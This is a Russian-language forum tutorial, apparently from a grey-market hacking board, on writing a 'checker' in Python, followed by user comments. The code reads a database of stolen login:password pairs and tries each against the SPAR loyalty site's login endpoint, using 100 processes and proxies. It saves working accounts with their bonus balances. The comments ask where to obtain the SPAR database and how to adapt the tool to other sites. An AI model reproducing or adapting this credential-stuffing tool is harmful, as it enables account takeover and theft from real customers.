Загрузка...
Как написать свой чекер, полный гайд
  1. AIexa
    AIexa Автор темы 31 май 2020 Лучший софт - lolz.live/threads/1634798/ :+rep: 11 520 24 мар 2020
    В этой статье рассказывается и показывается как написать свой чекер, что для этого нужно и откуда это достать

    Для
    начала работы нам понадобится


    1)Python последней версии (необязательно, но лучше всегда качать свежую версию), прямая ссылка на скачивание последней версии
    https://www.python.org/ftp/python/3.8.3/python-3.8.3.exe
    2)Если вы захотите на примере это статьи писать свой чекер на другой сайт, нужный вам, тогда вам понадобится среда разработки,
    для питона, лучшей и самой (как по мне) средой является Pycharm скачать вы его можете с официального сайта JetBrains
    https://www.jetbrains.com/ru-ru/pycharm/download/download-thanks.html?platform=windows&code=PCC

    Я буду показывать как написать чекер на примере сайта спара, на нем нету капчи и он не банит за спам


    Первым делом нам нужен валидный аккаунт на сайте спара
    идем на сайт вводим логин пароль и теперь самое интересное. Отрываем консоль с помощью кнопки f12,
    переходим на вкладку networks, и теперь жмем Войти, теперь в куче запросов ищем что то похожее на login/ auth/ и что то,
    что похоже на запрос к скрипту авторизации, внизу мы должны увидеть наш пост запрос такого вида
    [IMG]
    AUTH_FORM: Y
    TYPE: AUTH
    backurl: /local/ajax/user/auth/
    USER_LOGIN: 899999999
    username: 899999999
    USER_PASSWORD: password123
    USER_REMEMBER: Y
    Login: Y


    жмем на кнопку view source и копируем строчку
    AUTH_FORM=Y&TYPE=AUTH&backurl=%2Flocal%2Fajax%2Fuser%2Fauth%2F&USER_LOGIN=899999999&username=899999999&USER_PASSWORD=password123&USER_REMEMBER=Y&Login=Y

    Пока что не выходим, теперь смотрим на страницу нашего профиля, мы тут видим имя и количество бонусов на карте
    [IMG]

    открываем в консоли html и копируем строчку с бонусами
    [IMG]
    <span class="header-control__text-desc">8 бонусов</span>

    Теперь мы можем идти в Pycharm и начинать писать код
    Запускаем среду и жмем Create new project

    [IMG]

    После прогрузки и создания проекта переходим в File -> Setting -> Project Iterpreter

    [IMG]

    Жмем плюсик с правой стороны окна и ****аем в поиск requests, там на автомате у вас выберется нужная библиотека, жмете install package

    [IMG]

    Теперь жмем на папку слева правой кнопкой мыши new -> python file -> выбираете имя вашего файла и создаете его

    [IMG]

    Первое что нам нужно сделать импортировать нужные библиотеки для работы

    Python
    import requests
    from multiprocessing import Process, Queue, Value
    Первая билиотека нам нужна для создания запросов к сайту и приему от него ответов
    Вторая библиотека нужна для потоков

    Начинаем писать скрипт

    Python
    if __name__ == "__main__":
    count = 100 #Количество потоков
    queue = Queue() #очередь откуда будут браться данные для наших потоков

    Так как у вас скорее всего будет база аккаунтов то я покажу как доставать аккаунты из этой базы

    with open("baza.txt", "r", encoding="utf-8") as fileToCHeck:
    for line in fileToCHeck.readlines():
    queue.put(line)
    print(line+"\r")
    fileToCHeck.close()

    Теперь в нашу очередь загружены наши строки
    Запускаем наши потоки

    Python
     for i in range(0, count):
    proc = Process(target=checkValid, args=(queue,))
    proc.start()
    queue.close() #Закрываем очередь
    Теперь напишем функцию чека для наших потоков

    Python
    def checkValid(queue):
    while(queue.empty() == False):
    try:
    line = queue.get()[:-1]
    logPass = []
    if ':' in line:
    logPass = line.split(':')
    if ';' in line:
    logPass = line.split(';')

    user_login = logPass[0]
    user_pass = logPass[1]
    data = {'AUTH_FORM': 'Y', 'TYPE': 'AUTH', 'backurl': '/personal/', "USER_LOGIN": user_login, #Вот и наш post запрос
    'username': user_login,
    'USER_PASSWORD': user_pass, 'USER_REMEMBER': 'Y', 'Login': 'Y'}
    s = requests.Session()
    s.get("https://myspar.ru/personal/")
    resp = s.post("https://myspar.ru/personal/?login=yes", data=data)
    try:
    bonuses = re.search('<span class="header-control__text-desc">.*</span>', resp.text)
    bonuses = re.search(">.*<", bonuses.group(0))
    bonuses = bonuses.group(0)
    file = open("checked.txt", "a")
    file.write("Phone: " + str(user_login) + "\nPassword: " + str(user_pass) + "\nBonuses: " + str(
    bonuses[1:-1] + "\n\n\n"))
    file.close()
    s.close()
    except:
    continue
    except:
    continue
    Что мы здесь делаем.
    1) Передаем в фунцию нашу очередь со строками
    2)Разбиваем строку и вырезаем символ переноса строки "\n"
    Python
            line = queue.get()[:-1]
    logPass = []
    if ':' in line:
    logPass = line.split(':')
    if ';' in line:
    logPass = line.split(';')
    3) Формируем post запрос на основе запроса из начала и вставляем туда наши варьирующиеся значения, в данном случае это номер телефона и пароль
    4)Создаем сессию, которая на автомате будет принимать, сохранять и передавать между страницами куки,
    Переходим сначала на главную страницу спара, чтобы получить первоначальные куки, чтобы показать что мы обычный пользователь, иначе 90% сайтов
    не дадут залогинится
    5)Теперь делаем post запрос к скрипту логина и передаем туда наши данные
    6)Сервер выдал нам html страницу, парсим ее на предмет строки с бонусами, если они нашлись, то значит аккаунт валид и мы записываем инфу с него
    в текстовик
    7)Закрываем файл, закрываем соединение и начинаем цикл сначала с новой строкой

    Как только очередь опустеет потоки поочередно закончат свою работу

    Если вы хотите использовать ****** в своем чекере, тогда возьмите пачку проксей, прочитайте их точно также из текстовика как и строки с лог:пассом
    и передавайте их потокам
    Python
        myProxies = {"https://223.241.2.199:4216"}
    s.get("https://myspar.ru/personal/", proxies=myProxies)
    resp = s.post("https://myspar.ru/personal/?login=yes", data=data,proxies=myProxies)

    На выходе, если у вас были валидные аккаунты то в текстовом файле вы увидите это:

    Phone: 8999999999
    Password: password123
    Bonuses: 233 бонуса

    Для ленивых
    Python
    import requests
    from multiprocessing import Process, Queue, Value
    import re
    import sys




    def checkValid(queue):
    while(queue.empty() == False):
    try:
    line = queue.get()[:-1]
    if ':' in line:
    c = line.split(':')
    if ';' in line:
    c = line.split(';')

    user_login = c[0]
    user_pass = c[1]
    data = {'AUTH_FORM': 'Y', 'TYPE': 'AUTH', 'backurl': '/personal/', "USER_LOGIN": user_login,
    'username': user_login,
    'USER_PASSWORD': user_pass, 'USER_REMEMBER': 'Y', 'Login': 'Y'}
    s = requests.Session()
    s.get("https://myspar.ru/personal/")
    resp = s.post("https://myspar.ru/personal/?login=yes", data=data)
    try:
    bonuses = re.search('<span class="header-control__text-desc">.*</span>', resp.text)
    bonuses = re.search(">.*<", bonuses.group(0))
    bonuses = bonuses.group(0)
    file = open("checked.txt", "a")
    file.write("Phone: " + str(user_login) + "\nPassword: " + str(user_pass) + "\nBonuses: " + str(
    bonuses[1:-1] + "\n\n\n"))
    file.close()
    s.close()
    except:
    s.close()
    continue
    except:
    continue

    def createProc(queue, count):
    for i in range(0, count):
    proc = Process(target=checkValid, args=(queue,))
    proc.start()
    queue.close()

    if __name__ == "__main__":
    count = 100
    queue = Queue()
    with open("baza.txt", "r", encoding="utf-8") as fileToCHeck:
    for line in fileToCHeck.readlines():
    queue.put(line)
    print(line+"\r")
    fileToCHeck.close()
    createProc(queue, count)
    print("Запускается", count," потоков")

    #МояСтатья
     
    Этот материал оказался полезным?
    Вы можете отблагодарить автора темы путем перевода средств на баланс
    Отблагодарить автора
    31 май 2020 Изменено

Комментарии

    1. justcr4zys
      justcr4zys 28 май 2022 0 10 май 2020
      зачем писать гайд по питону, если даже не знаешь, как это рабоатает и не называешь вещи своими именами...
       
    2. orlov1
      orlov1 5 июн 2022 64 24 фев 2017
      Должно работать, но тема старая. На большинстве сайтов работать не будет.
       
    3. Sosisken
      Sosisken 12 июн 2022 Скамеры суки. 1085 6 ноя 2016
      Прочитав код автора вспоминаю как сам кодил говно сколько-то лет назад. Пустые импорты, отсутсвие потокозащищенных счетчиков, потокозащищенной записи в файл, ротации ******, использование +++++ вместо fstring — это все мое, родное. Если без шуток, то дети, не пишите ****ы так. То, что за это "творение" дали авторку удивляет. Я уверен, что за прошедшие годы автор набрался опыта и было бы интересно увидеть ремейк статьи (ну или может сам напишу, пишите если интересно)
       
      1. Sosisken
        Sosisken, еще раз глянул в код и увидел свои любимые except:continue, это просто шедеврально
      2. AIexa Автор темы
        Sosisken, да, тоже ахуеваю смотрю. Но статья неплохая. 2 года ей. Именно, делание самого чекера описывается вполне себе норм. Считай код тут просто как пример сделанный на отьебись (тогда это делалось не на отьебись конечно, но щас это можно воспринимать в основном в таком контексте)
    4. AIexa
      AIexa Автор темы 13 июн 2022 Лучший софт - lolz.live/threads/1634798/ :+rep: 11 520 24 мар 2020
      [IMG]
      Для всех последующих комментаторов, хочу сделать помарку на первой же линии. Суть статьи в показе того, как делается чекер и как происходит весь процесс. А не

      Делаем чекер спара
      Код для чекера спара
      Ахуенный код для чека спара
      Скопипасть и сиди чекай спар

      И писать мне по этому поводу не нужно. Ваш спар давно стал помойкой и активно банит все и вся. На момент написания, не было ни капч, нихуя. Ток 10-минутные баны айпишника

      Если вам нужны готовые рабочие (мб уже несовсем) примеры, есть статья пожирнее
      https://zelenka.guru/threads/2450651/
       
      13 июн 2022 Изменено
      1. tsukauch1
    5. VkOksi
      VkOksi 12 авг 2022 Заблокирован(а) 2405 10 авг 2022
      Подробно же написал
       
    6. VkOksi
      VkOksi 14 авг 2022 Заблокирован(а) 2405 10 авг 2022
      И где это работает
       
    7. pasyaa
      pasyaa 12 сен 2022 0 12 сен 2022
      Реал помог,харош
       
    8. Sima_inactive4909784
      Где взять базу данных Спара?
       
    9. LZTReport
      LZTReport 23 дек 2022 Я мужик 724 14 дек 2022
      Спасибо, нашел полезную статью в этом разделе, что-то он сегодня какой-то заспамленный. А твоя статья реально полезная, пойду юзать
       
    10. fullix
      fullix 4 янв 2023 xd 3901 15 янв 2021
      Годный гайд! Всё ворк, спс:newyear7:
       
    11. U_so_lucky
      Редко пишу коменты, но данная тема имба
       
    12. zapot
      zapot 31 янв 2023 0 20 апр 2022
      крутой гайд, только вот подойдет под изичные сервисыв=
       
    13. DiamondXIII
      DiamondXIII 21 мар 2023 221 5 янв 2022
      Годная статья! Благодарю за подробности
       
    14. Alayskiy
      Alayskiy 18 июл 2023 0 7 окт 2021
      Никогда не понял смысла покупать чекеры, эти же программы работают очень просто)
       
    15. L33T
      L33T 25 июл 2023 5P34K 511 2 май 2023
      Адаптировать под любой сайт возможно, все зависит от их аутентификации и антибот системы
       
    16. PylaAK
      PylaAK 9 авг 2023 0 9 авг 2023
      Очень интересно но не чего не понятно, я имею ввиду я що я баран
       
    17. AvengeRoff
      Блин, ну это совсем для каких-то уников, тяжело)) :pepepizza:
       
    18. eralash
      eralash 1 окт 2023 1221 16 сен 2023
    19. Domovoy
      время обновлять статью, жду объяснений приколдесов Csrf токенов как у спотифай)
       
    20. ФРУТС
      ФРУТС 23 окт 2023 <3 jenna ortega E> 42 7 фев 2023
      Разве нельзя по апи распарсить?)
       
Top